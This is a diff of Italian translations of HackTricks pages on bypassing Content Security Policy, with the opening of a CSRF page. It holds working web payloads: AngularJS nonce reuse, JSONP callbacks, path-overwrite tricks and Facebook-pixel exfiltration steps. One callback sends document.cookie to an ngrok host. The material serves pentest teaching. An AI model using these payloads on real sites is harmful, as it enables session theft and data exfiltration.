* **navigate-to**: Limita gli URL a cui un documento può navigare con qualsiasi mezzo (a, modulo, window.location, window.open, ecc.)
|
* **navigate-to**: Limita gli URL a cui un documento può navigare con qualsiasi mezzo (a, modulo, window.location, window.open, ecc.)
|
||||||
|
|
||||||
### Fonti
|
### Sources
|
||||||
|
|
||||||
* `*`: Consente tutti gli URL tranne quelli con schemi `data:`, `blob:`, `filesystem:`.
|
* `*`: Consente tutti gli URL tranne quelli con schemi `data:`, `blob:`, `filesystem:`.
|
||||||
* `'self'`: Consente il caricamento dallo stesso dominio.
|
* `'self'`: Consente il caricamento dallo stesso dominio.
|
||||||
|
@ -102,7 +102,7 @@ object-src 'none';
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Carica script riutilizzando nonce</summary>
|
<summary>Load script reusing nonce</summary>
|
||||||
```html
|
```html
|
||||||
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
|
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
|
||||||
<img src=x ng-on-error='
|
<img src=x ng-on-error='
|
||||||
|
@ -153,9 +153,9 @@ Payload funzionante:
|
||||||
```
|
```
|
||||||
### strict-dynamic
|
### strict-dynamic
|
||||||
|
|
||||||
Se riesci in qualche modo a far sì che un **codice JS consentito crei un nuovo tag script** nel DOM con il tuo codice JS, poiché è uno script consentito a crearlo, il **nuovo tag script sarà autorizzato ad essere eseguito**.
|
Se riesci in qualche modo a far sì che un **codice JS consentito crei un nuovo tag script** nel DOM con il tuo codice JS, poiché uno script consentito lo sta creando, il **nuovo tag script sarà autorizzato ad essere eseguito**.
|
||||||
|
|
||||||
### Wildcard (*)
|
### Wildcard (\*)
|
||||||
```yaml
|
```yaml
|
||||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||||
```
|
```
|
||||||
|
@ -190,7 +190,7 @@ Payload funzionante:
|
||||||
```
|
```
|
||||||
Tuttavia, è altamente probabile che il server **stia convalidando il file caricato** e permetterà solo di **caricare determinati tipi di file**.
|
Tuttavia, è altamente probabile che il server **stia convalidando il file caricato** e permetterà solo di **caricare determinati tipi di file**.
|
||||||
|
|
||||||
Inoltre, anche se potessi caricare un **codice JS all'interno** di un file utilizzando un'estensione accettata dal server (come: _script.png_), questo non sarà sufficiente perché alcuni server come il server apache **selezionano il tipo MIME del file in base all'estensione** e browser come Chrome **rifiuteranno di eseguire codice Javascript** all'interno di qualcosa che dovrebbe essere un'immagine. "Speriamo", ci sono errori. Ad esempio, da un CTF ho appreso che **Apache non conosce** l'estensione _**.wave**_, quindi non la serve con un **tipo MIME come audio/\***.
|
Inoltre, anche se potessi caricare un **codice JS all'interno** di un file utilizzando un'estensione accettata dal server (come: _script.png_), questo non sarà sufficiente perché alcuni server come il server Apache **selezionano il tipo MIME del file in base all'estensione** e browser come Chrome **rifiuteranno di eseguire codice Javascript** all'interno di qualcosa che dovrebbe essere un'immagine. "Speriamo", ci sono errori. Ad esempio, da un CTF ho appreso che **Apache non conosce** l'estensione _**.wave**_, quindi non la serve con un **tipo MIME come audio/\***.
|
||||||
|
|
||||||
Da qui, se trovi un XSS e un caricamento di file, e riesci a trovare un **estensione mal interpretata**, potresti provare a caricare un file con quell'estensione e il contenuto dello script. Oppure, se il server sta controllando il formato corretto del file caricato, crea un polyglot ([alcuni esempi di polyglot qui](https://github.com/Polydet/polyglot-database)).
|
Da qui, se trovi un XSS e un caricamento di file, e riesci a trovare un **estensione mal interpretata**, potresti provare a caricare un file con quell'estensione e il contenuto dello script. Oppure, se il server sta controllando il formato corretto del file caricato, crea un polyglot ([alcuni esempi di polyglot qui](https://github.com/Polydet/polyglot-database)).
|
||||||
|
|
||||||
|
@ -303,7 +303,7 @@ Abusare di \*.google.com/script.google.com
|
||||||
```http
|
```http
|
||||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||||
```
|
```
|
||||||
Scenari come questo in cui `script-src` è impostato su `self` e un dominio particolare che è nella whitelist possono essere elusi utilizzando JSONP. Gli endpoint JSONP consentono metodi di callback insicuri che permettono a un attaccante di eseguire XSS, payload funzionante:
|
Scenari come questo in cui `script-src` è impostato su `self` e un dominio particolare che è nella whitelist possono essere aggirati utilizzando JSONP. Gli endpoint JSONP consentono metodi di callback insicuri che permettono a un attaccante di eseguire XSS, payload funzionante:
|
||||||
```markup
|
```markup
|
||||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||||
|
@ -338,7 +338,7 @@ Ad esempio, se trovi la seguente CSP:
|
||||||
```
|
```
|
||||||
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||||
```
|
```
|
||||||
or
|
o
|
||||||
```
|
```
|
||||||
Content-Security-Policy: connect-src www.facebook.com;
|
Content-Security-Policy: connect-src www.facebook.com;
|
||||||
```
|
```
|
||||||
|
@ -346,7 +346,7 @@ Dovresti essere in grado di esfiltrare dati, similmente a come è sempre stato f
|
||||||
|
|
||||||
1. Crea un account sviluppatore Facebook qui.
|
1. Crea un account sviluppatore Facebook qui.
|
||||||
2. Crea una nuova app "Facebook Login" e seleziona "Sito web".
|
2. Crea una nuova app "Facebook Login" e seleziona "Sito web".
|
||||||
3. Vai su "Impostazioni -> Base" e ottieni il tuo "App ID".
|
3. Vai su "Impostazioni -> Base" e ottieni il tuo "ID App".
|
||||||
4. Nel sito target da cui vuoi esfiltrare dati, puoi esfiltrare dati utilizzando direttamente il gadget SDK di Facebook "fbq" attraverso un "customEvent" e il payload dei dati.
|
4. Nel sito target da cui vuoi esfiltrare dati, puoi esfiltrare dati utilizzando direttamente il gadget SDK di Facebook "fbq" attraverso un "customEvent" e il payload dei dati.
|
||||||
5. Vai al tuo "Event Manager" dell'app e seleziona l'applicazione che hai creato (nota che il gestore eventi potrebbe trovarsi in un URL simile a questo: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
5. Vai al tuo "Event Manager" dell'app e seleziona l'applicazione che hai creato (nota che il gestore eventi potrebbe trovarsi in un URL simile a questo: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||||
6. Seleziona la scheda "Test Events" per vedere gli eventi inviati dal "tuo" sito web.
|
6. Seleziona la scheda "Test Events" per vedere gli eventi inviati dal "tuo" sito web.
|
||||||
|
@ -364,17 +364,17 @@ Per quanto riguarda gli altri sette domini di terze parti specificati nella tabe
|
||||||
|
|
||||||
Oltre alla redirezione sopra menzionata per bypassare le restrizioni sui percorsi, c'è un'altra tecnica chiamata Relative Path Overwrite (RPO) che può essere utilizzata su alcuni server.
|
Oltre alla redirezione sopra menzionata per bypassare le restrizioni sui percorsi, c'è un'altra tecnica chiamata Relative Path Overwrite (RPO) che può essere utilizzata su alcuni server.
|
||||||
|
|
||||||
Ad esempio, se CSP consente il percorso `https://example.com/scripts/react/`, può essere bypassato come segue:
|
Ad esempio, se il CSP consente il percorso `https://example.com/scripts/react/`, può essere bypassato come segue:
|
||||||
```html
|
```html
|
||||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||||||
```
|
```
|
||||||
Il browser caricherà infine `https://example.com/scripts/angular/angular.js`.
|
Il browser caricherà infine `https://example.com/scripts/angular/angular.js`.
|
||||||
|
|
||||||
Questo funziona perché per il browser stai caricando un file chiamato `..%2fangular%2fangular.js` situato sotto `https://example.com/scripts/react/`, che è conforme al CSP.
|
Questo funziona perché per il browser stai caricando un file chiamato `..%2fangular%2fangular.js` situato sotto `https://example.com/scripts/react/`, che è conforme a CSP.
|
||||||
|
|
||||||
∑, lo decodificheranno, richiedendo effettivamente `https://example.com/scripts/react/../angular/angular.js`, che è equivalente a `https://example.com/scripts/angular/angular.js`.
|
∑, lo decodificheranno, richiedendo effettivamente `https://example.com/scripts/react/../angular/angular.js`, che è equivalente a `https://example.com/scripts/angular/angular.js`.
|
||||||
|
|
||||||
Sfruttando **questa incoerenza nell'interpretazione degli URL tra il browser e il server, le regole del percorso possono essere eluse**.
|
**Sfruttando questa incoerenza nell'interpretazione degli URL tra il browser e il server, le regole del percorso possono essere bypassate**.
|
||||||
|
|
||||||
La soluzione è non trattare `%2f` come `/` sul lato server, garantendo un'interpretazione coerente tra il browser e il server per evitare questo problema.
|
La soluzione è non trattare `%2f` come `/` sul lato server, garantendo un'interpretazione coerente tra il browser e il server per evitare questo problema.
|
||||||
|
|
||||||
|
@ -486,7 +486,7 @@ La funzione **`importScripts`** dei service workers non è limitata dal CSP:
|
||||||
|
|
||||||
#### Chrome
|
#### Chrome
|
||||||
|
|
||||||
Se un **parametro** inviato da te viene **incollato all'interno** della **dichiarazione** della **politica,** allora potresti **modificare** la **politica** in qualche modo che la renda **inutile**. Potresti **permettere script 'unsafe-inline'** con uno di questi bypass:
|
Se un **parametro** inviato da te viene **incollato all'interno** della **dichiarazione** della **politica,** allora potresti **modificare** la **politica** in qualche modo che la renda **inutile**. Potresti **consentire script 'unsafe-inline'** con uno di questi bypass:
|
||||||
```bash
|
```bash
|
||||||
script-src-elem *; script-src-attr *
|
script-src-elem *; script-src-attr *
|
||||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||||
|
@ -504,7 +504,7 @@ Esempio: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y
|
||||||
Nota l'assenza della direttiva `'unsafe-inline'`\
|
Nota l'assenza della direttiva `'unsafe-inline'`\
|
||||||
Questa volta puoi far **caricare** alla vittima una pagina sotto **il tuo controllo** tramite **XSS** con un `<iframe`. Questa volta farai accedere la vittima alla pagina da cui vuoi estrarre informazioni (**CSRF**). Non puoi accedere al contenuto della pagina, ma se in qualche modo puoi **controllare il tempo necessario per caricare la pagina** puoi estrarre le informazioni di cui hai bisogno.
|
Questa volta puoi far **caricare** alla vittima una pagina sotto **il tuo controllo** tramite **XSS** con un `<iframe`. Questa volta farai accedere la vittima alla pagina da cui vuoi estrarre informazioni (**CSRF**). Non puoi accedere al contenuto della pagina, ma se in qualche modo puoi **controllare il tempo necessario per caricare la pagina** puoi estrarre le informazioni di cui hai bisogno.
|
||||||
|
|
||||||
Questa volta un **flag** verrà estratto, ogni volta che un **carattere viene indovinato correttamente** tramite SQLi la **risposta** richiede **più tempo** a causa della funzione di sleep. Poi, sarai in grado di estrarre il flag:
|
Questa volta una **flag** verrà estratta, ogni volta che un **carattere viene indovinato correttamente** tramite SQLi la **risposta** richiede **più tempo** a causa della funzione di sleep. Poi, sarai in grado di estrarre la flag:
|
||||||
```html
|
```html
|
||||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||||
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
|
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
|
||||||
|
@ -572,7 +572,7 @@ Per ulteriori informazioni [**controlla il rapporto originale qui**](https://soc
|
||||||
|
|
||||||
### Bypass CSP limitando CSP
|
### Bypass CSP limitando CSP
|
||||||
|
|
||||||
In [**questo writeup CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP viene bypassato iniettando all'interno di un iframe consentito un CSP più restrittivo che vietava il caricamento di un file JS specifico che, poi, tramite **inquinamento del prototipo** o **dom clobbering** permetteva di **abusare di uno script diverso per caricare uno script arbitrario**.
|
In [**questo writeup CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP viene bypassato iniettando all'interno di un iframe consentito un CSP più restrittivo che non consentiva di caricare un file JS specifico che, poi, tramite **inquinamento del prototipo** o **dom clobbering** permetteva di **abusare di uno script diverso per caricare uno script arbitrario**.
|
||||||
|
|
||||||
Puoi **limitare un CSP di un Iframe** con l'attributo **`csp`**:
|
Puoi **limitare un CSP di un Iframe** con l'attributo **`csp`**:
|
||||||
|
|
||||||
|
@ -583,7 +583,7 @@ Puoi **limitare un CSP di un Iframe** con l'attributo **`csp`**:
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
In [**questo CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **HTML injection** **ristretta** ulteriormente una **CSP** in modo che uno script che preveniva CSTI fosse disabilitato e quindi la **vulnerabilità è diventata sfruttabile.**\
|
In [**questo CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **HTML injection** **ristretta** ulteriormente una **CSP** in modo che uno script che preveniva CSTI fosse disabilitato e quindi la **vulnerabilità è diventata sfruttabile.**\
|
||||||
La CSP può essere resa più restrittiva utilizzando **HTML meta tags** e gli script inline possono disabilitare **rimuovendo** l'**entry** che consente il loro **nonce** e **abilitare script inline specifici tramite sha**:
|
La CSP può essere resa più restrittiva utilizzando **tag meta HTML** e gli script inline possono essere disabilitati **rimuovendo** l'**entry** che consente il loro **nonce** e **abilitando script inline specifici tramite sha**:
|
||||||
```html
|
```html
|
||||||
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
||||||
'unsafe-eval' 'strict-dynamic'
|
'unsafe-eval' 'strict-dynamic'
|
||||||
|
@ -592,7 +592,7 @@ La CSP può essere resa più restrittiva utilizzando **HTML meta tags** e gli sc
|
||||||
```
|
```
|
||||||
### JS exfiltration with Content-Security-Policy-Report-Only
|
### JS exfiltration with Content-Security-Policy-Report-Only
|
||||||
|
|
||||||
Se riesci a far sì che il server risponda con l'intestazione **`Content-Security-Policy-Report-Only`** con un **valore controllato da te** (forse a causa di un CRLF), potresti farlo puntare al tuo server e se **avvolgi** il **contenuto JS** che desideri esfiltrare con **`<script>`** e poiché è altamente probabile che `unsafe-inline` non sia consentito dal CSP, questo **attiverà un errore CSP** e parte dello script (contenente le informazioni sensibili) sarà inviata al server da `Content-Security-Policy-Report-Only`.
|
Se riesci a far sì che il server risponda con l'intestazione **`Content-Security-Policy-Report-Only`** con un **valore controllato da te** (forse a causa di un CRLF), potresti farlo puntare al tuo server e se **avvolgi** il **contenuto JS** che desideri esfiltrare con **`<script>`** e poiché è altamente probabile che `unsafe-inline` non sia consentito dal CSP, questo **attiverà un errore CSP** e parte dello script (contenente le informazioni sensibili) verrà inviata al server da `Content-Security-Policy-Report-Only`.
|
||||||
|
|
||||||
Per un esempio [**controlla questo writeup CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
Per un esempio [**controlla questo writeup CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||||
|
|
||||||
|
@ -603,12 +603,12 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
|
||||||
### Leaking Information with CSP and Iframe
|
### Leaking Information with CSP and Iframe
|
||||||
|
|
||||||
* Un `iframe` viene creato che punta a un URL (chiamiamolo `https://example.redirect.com`) che è permesso da CSP.
|
* Un `iframe` viene creato che punta a un URL (chiamiamolo `https://example.redirect.com`) che è permesso da CSP.
|
||||||
* Questo URL poi reindirizza a un URL segreto (ad esempio, `https://usersecret.example2.com`) che **non è consentito** da CSP.
|
* Questo URL poi reindirizza a un URL segreto (ad es., `https://usersecret.example2.com`) che **non è consentito** da CSP.
|
||||||
* Ascoltando l'evento `securitypolicyviolation`, si può catturare la proprietà `blockedURI`. Questa proprietà rivela il dominio dell'URI bloccato, facendo trapelare il dominio segreto a cui l'URL iniziale ha reindirizzato.
|
* Ascoltando l'evento `securitypolicyviolation`, si può catturare la proprietà `blockedURI`. Questa proprietà rivela il dominio dell'URI bloccato, facendo trapelare il dominio segreto a cui l'URL iniziale ha reindirizzato.
|
||||||
|
|
||||||
È interessante notare che i browser come Chrome e Firefox hanno comportamenti diversi nella gestione degli iframe rispetto a CSP, portando a una potenziale fuga di informazioni sensibili a causa di comportamenti non definiti.
|
È interessante notare che i browser come Chrome e Firefox hanno comportamenti diversi nella gestione degli iframe rispetto a CSP, portando a una potenziale fuga di informazioni sensibili a causa di comportamenti non definiti.
|
||||||
|
|
||||||
Un'altra tecnica coinvolge lo sfruttamento del CSP stesso per dedurre il sottodominio segreto. Questo metodo si basa su un algoritmo di ricerca binaria e sull'aggiustamento del CSP per includere domini specifici che sono deliberatamente bloccati. Ad esempio, se il sottodominio segreto è composto da caratteri sconosciuti, puoi testare iterativamente diversi sottodomini modificando la direttiva CSP per bloccare o consentire questi sottodomini. Ecco un frammento che mostra come il CSP potrebbe essere impostato per facilitare questo metodo:
|
Un'altra tecnica coinvolge lo sfruttamento della CSP stessa per dedurre il sottodominio segreto. Questo metodo si basa su un algoritmo di ricerca binaria e sull'aggiustamento della CSP per includere domini specifici che sono deliberatamente bloccati. Ad esempio, se il sottodominio segreto è composto da caratteri sconosciuti, puoi testare iterativamente diversi sottodomini modificando la direttiva CSP per bloccare o consentire questi sottodomini. Ecco un frammento che mostra come la CSP potrebbe essere impostata per facilitare questo metodo:
|
||||||
```markdown
|
```markdown
|
||||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||||
```
|
```
|
||||||
|
@ -618,18 +618,18 @@ Entrambi i metodi sfruttano le sfumature dell'implementazione e del comportament
|
||||||
|
|
||||||
Trick da [**qui**](https://ctftime.org/writeup/29310).
|
Trick da [**qui**](https://ctftime.org/writeup/29310).
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
**Hacking Insights**\
|
**Approfondimenti sul hacking**\
|
||||||
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
|
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
|
||||||
|
|
||||||
**Real-Time Hack News**\
|
**Notizie di hacking in tempo reale**\
|
||||||
Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
|
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
|
||||||
|
|
||||||
**Latest Announcements**\
|
**Ultimi annunci**\
|
||||||
Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme
|
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme
|
||||||
|
|
||||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
||||||
|
|
||||||
|
@ -637,11 +637,11 @@ Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali
|
||||||
|
|
||||||
### Errori PHP quando ci sono troppi parametri
|
### Errori PHP quando ci sono troppi parametri
|
||||||
|
|
||||||
Secondo la [**ultima tecnica commentata in questo video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), inviare troppi parametri (1001 parametri GET anche se puoi farlo anche con parametri POST e più di 20 file). Qualsiasi **`header()`** definito nel codice web PHP **non verrà inviato** a causa dell'errore che questo genererà.
|
Secondo la [**ultima tecnica commentata in questo video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), inviare troppi parametri (1001 parametri GET anche se puoi farlo anche con parametri POST e più di 20 file). Qualsiasi **`header()`** definito nel codice web PHP **non verrà inviato** a causa dell'errore che questo attiverà.
|
||||||
|
|
||||||
### Sovraccarico del buffer di risposta PHP
|
### Sovraccarico del buffer di risposta PHP
|
||||||
|
|
||||||
PHP è noto per **bufferizzare la risposta fino a 4096** byte per impostazione predefinita. Pertanto, se PHP mostra un avviso, fornendo **dati sufficienti all'interno degli avvisi**, la **risposta** verrà **inviata** **prima** dell'**header CSP**, causando l'ignoranza dell'header.\
|
PHP è noto per **bufferizzare la risposta a 4096** byte per impostazione predefinita. Pertanto, se PHP mostra un avviso, fornendo **dati sufficienti all'interno degli avvisi**, la **risposta** verrà **inviata** **prima** dell'**header CSP**, causando l'ignoranza dell'header.\
|
||||||
Quindi, la tecnica consiste fondamentalmente nel **riempire il buffer di risposta con avvisi** in modo che l'header CSP non venga inviato.
|
Quindi, la tecnica consiste fondamentalmente nel **riempire il buffer di risposta con avvisi** in modo che l'header CSP non venga inviato.
|
||||||
|
|
||||||
Idea da [**questo writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
Idea da [**questo writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||||
|
@ -752,7 +752,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
|
@ -768,8 +768,8 @@ Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali
|
||||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Impara e pratica l'hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Impara e pratica l'hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -777,7 +777,7 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||||
|
|
||||||
|
@ -32,14 +32,14 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
||||||
|
|
||||||
## Cross-Site Request Forgery (CSRF) Explained
|
## Cross-Site Request Forgery (CSRF) Explained
|
||||||
|
|
||||||
**Cross-Site Request Forgery (CSRF)** è un tipo di vulnerabilità di sicurezza presente nelle applicazioni web. Consente agli attaccanti di eseguire azioni per conto di utenti ignari sfruttando le loro sessioni autenticate. L'attacco viene eseguito quando un utente, che è connesso alla piattaforma di una vittima, visita un sito malevolo. Questo sito attiva quindi richieste all'account della vittima attraverso metodi come l'esecuzione di JavaScript, l'invio di moduli o il recupero di immagini.
|
**Cross-Site Request Forgery (CSRF)** è un tipo di vulnerabilità di sicurezza presente nelle applicazioni web. Consente agli attaccanti di eseguire azioni per conto di utenti ignari sfruttando le loro sessioni autenticate. L'attacco viene eseguito quando un utente, che è connesso a una piattaforma vittima, visita un sito malevolo. Questo sito attiva quindi richieste all'account della vittima attraverso metodi come l'esecuzione di JavaScript, l'invio di moduli o il recupero di immagini.
|
||||||
|
|
||||||
### Prerequisites for a CSRF Attack
|
### Prerequisites for a CSRF Attack
|
||||||
|
|
||||||
Per sfruttare una vulnerabilità CSRF, devono essere soddisfatte diverse condizioni:
|
Per sfruttare una vulnerabilità CSRF, devono essere soddisfatte diverse condizioni:
|
||||||
|
|
||||||
1. **Identificare un'azione preziosa**: L'attaccante deve trovare un'azione degna di sfruttamento, come cambiare la password dell'utente, l'email o elevare i privilegi.
|
1. **Identificare un'azione preziosa**: L'attaccante deve trovare un'azione degna di sfruttamento, come cambiare la password dell'utente, l'email o elevare i privilegi.
|
||||||
2. **Gestione della sessione**: La sessione dell'utente deve essere gestita esclusivamente tramite cookie o l'intestazione di autenticazione HTTP Basic, poiché altre intestazioni non possono essere manipolate a questo scopo.
|
2. **Gestione della sessione**: La sessione dell'utente deve essere gestita esclusivamente tramite cookie o l'intestazione di autenticazione di base HTTP, poiché altre intestazioni non possono essere manipolate a questo scopo.
|
||||||
3. **Assenza di parametri imprevedibili**: La richiesta non dovrebbe contenere parametri imprevedibili, poiché possono impedire l'attacco.
|
3. **Assenza di parametri imprevedibili**: La richiesta non dovrebbe contenere parametri imprevedibili, poiché possono impedire l'attacco.
|
||||||
|
|
||||||
### Quick Check
|
### Quick Check
|
||||||
|
@ -53,9 +53,9 @@ Puoi **catturare la richiesta in Burp** e controllare le protezioni CSRF e per t
|
||||||
Possono essere implementate diverse contromisure per proteggere contro gli attacchi CSRF:
|
Possono essere implementate diverse contromisure per proteggere contro gli attacchi CSRF:
|
||||||
|
|
||||||
* [**SameSite cookies**](hacking-with-cookies/#samesite): Questo attributo impedisce al browser di inviare cookie insieme a richieste cross-site. [Maggiori informazioni sui cookie SameSite](hacking-with-cookies/#samesite).
|
* [**SameSite cookies**](hacking-with-cookies/#samesite): Questo attributo impedisce al browser di inviare cookie insieme a richieste cross-site. [Maggiori informazioni sui cookie SameSite](hacking-with-cookies/#samesite).
|
||||||
* [**Cross-origin resource sharing**](cors-bypass.md): La politica CORS del sito della vittima può influenzare la fattibilità dell'attacco, specialmente se l'attacco richiede di leggere la risposta dal sito della vittima. [Scopri di più sul bypass CORS](cors-bypass.md).
|
* [**Cross-origin resource sharing**](cors-bypass.md): La politica CORS del sito vittima può influenzare la fattibilità dell'attacco, specialmente se l'attacco richiede di leggere la risposta dal sito vittima. [Scopri di più sul bypass CORS](cors-bypass.md).
|
||||||
* **Verifica dell'utente**: Richiedere la password dell'utente o risolvere un captcha può confermare l'intento dell'utente.
|
